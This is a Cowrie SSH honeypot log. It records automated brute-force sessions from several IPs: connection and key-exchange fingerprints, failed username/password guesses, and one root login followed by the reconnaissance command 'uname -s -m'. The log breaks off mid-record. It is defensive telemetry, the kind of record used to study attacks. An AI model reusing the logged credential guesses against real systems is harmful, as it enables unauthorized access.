{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":45184,"dst_ip":"159.203.135.109","dst_port":22,"session":"266afdea00e2","protocol":"ssh","message":"New connection: 2.57.122.96:45184 (159.203.135.109:22) [session: 266afdea00e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:18:16.691306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:18:16.695356Z","src_ip":"2.57.122.96","session":"266afdea00e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:18:16.793612Z","src_ip":"2.57.122.96","session":"266afdea00e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"admin@123","message":"login attempt [sol/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:18:17.170447Z","src_ip":"2.57.122.96","session":"266afdea00e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:18:18.271386Z","src_ip":"2.57.122.96","session":"266afdea00e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":45434,"dst_ip":"159.203.135.109","dst_port":22,"session":"a92e3e4920a3","protocol":"ssh","message":"New connection: 2.57.122.208:45434 (159.203.135.109:22) [session: a92e3e4920a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:18:40.974927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:18:41.021163Z","src_ip":"2.57.122.208","session":"a92e3e4920a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:18:41.117810Z","src_ip":"2.57.122.208","session":"a92e3e4920a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4$RFV","message":"login attempt [ubuntu/4$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:18:41.643056Z","src_ip":"2.57.122.208","session":"a92e3e4920a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:18:42.744970Z","src_ip":"2.57.122.208","session":"a92e3e4920a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.4.240","src_port":26354,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7410dcc157b","protocol":"ssh","message":"New connection: 101.126.4.240:26354 (159.203.135.109:22) [session: b7410dcc157b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:18:49.119578Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:18:49.354764Z","src_ip":"101.126.4.240","session":"b7410dcc157b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.4.240","src_port":26370,"dst_ip":"159.203.135.109","dst_port":22,"session":"a058dfae0e7d","protocol":"ssh","message":"New connection: 101.126.4.240:26370 (159.203.135.109:22) [session: a058dfae0e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:18:49.583668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:18:49.588544Z","src_ip":"101.126.4.240","session":"a058dfae0e7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:18:49.820891Z","src_ip":"101.126.4.240","session":"a058dfae0e7d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"------fuck------","message":"login attempt [root/------fuck------] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:18:50.526996Z","src_ip":"101.126.4.240","session":"a058dfae0e7d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:18:51.075412Z","src_ip":"101.126.4.240","session":"a058dfae0e7d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -m","message":"CMD: uname -s -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:18:51.077669Z","src_ip":"101.126.4.240","session":"a058dfae0e7d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/6fa4c8ac58e7a1d947dc3250c39d1e27958f012e68061d8de0a7b70e3a65b906","size":13,"shasum":"6fa4c8ac58e7a1d947dc3250c39d1e27958f012e68061d8de0a7b70e3a65b906","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/6fa4c8ac58e7a1d947dc3250c39d1e27958f012e68061d8de0a7b70e3a65b906 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:18:51.316097Z","src_ip":"101.126.4.240","session":"a058dfae0e7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:18:51.320791Z","src_ip":"101.126.4.240","session":"a058dfae0e7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":43676,"dst_ip":"10.17.0.5","dst_port":22,"session":"20ee5587b242","protocol":"ssh","message":"New connection: 2.57.122.208:43676 (10.17.0.5:22) [session: 20ee5587b242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:19:16.327191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:19:16.506719Z","src_ip":"2.57.122.208","session":"20ee5587b242","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:19:16.509814Z","src_ip":"2.57.122.208","session":"20ee5587b242","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4$RFV","message":"login attempt [ubuntu/4$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:19:17.325635Z","src_ip":"2.57.122.208","session":"20ee5587b242","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:19:18.427172Z","src_ip":"2.57.122.208","session":"20ee5587b242","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.187.200.190","src_port":49206,"dst_ip":"10.17.0.5","dst_port":22,"session":"13c8f509bad4","protocol":"ssh","message":"New connection: 172.187.200.190:49206 (10.17.0.5:22) [session: 13c8f509bad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:20:38.313688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:20:38.318577Z","src_ip":"172.187.200.190","session":"13c8f509bad4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:20:38.403196Z","src_ip":"172.187.200.190","session":"13c8f509bad4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rune","password":"rune!","message":"login attempt [rune/rune!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:20:38.573862Z","src_ip":"172.187.200.190","session":"13c8f509bad4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:20:39.660096Z","src_ip":"172.187.200.190","session":"13c8f509bad4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":59726,"dst_ip":"159.203.135.109","dst_port":22,"session":"f82c19d476ab","protocol":"ssh","message":"New connection: 2.57.122.208:59726 (159.203.135.109:22) [session: f82c19d476ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:20:56.960293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:20:56.982919Z","src_ip":"2.57.122.208","session":"f82c19d476ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:20:57.151607Z","src_ip":"2.57.122.208","session":"f82c19d476ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:20:57.644644Z","src_ip":"2.57.122.208","session":"f82c19d476ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:20:58.896039Z","src_ip":"2.57.122.208","session":"f82c19d476ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":52924,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a46d1f99ab7","protocol":"ssh","message":"New connection: 2.57.122.96:52924 (159.203.135.109:22) [session: 8a46d1f99ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:21:07.160512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:21:07.163919Z","src_ip":"2.57.122.96","session":"8a46d1f99ab7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:21:07.258313Z","src_ip":"2.57.122.96","session":"8a46d1f99ab7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shred","password":"shred","message":"login attempt [shred/shred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:21:07.543436Z","src_ip":"2.57.122.96","session":"8a46d1f99ab7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:21:08.641570Z","src_ip":"2.57.122.96","session":"8a46d1f99ab7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":59404,"dst_ip":"10.17.0.5","dst_port":22,"session":"336d53db234c","protocol":"ssh","message":"New connection: 2.57.122.208:59404 (10.17.0.5:22) [session: 336d53db234c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:21:30.826168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:21:30.909787Z","src_ip":"2.57.122.208","session":"336d53db234c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305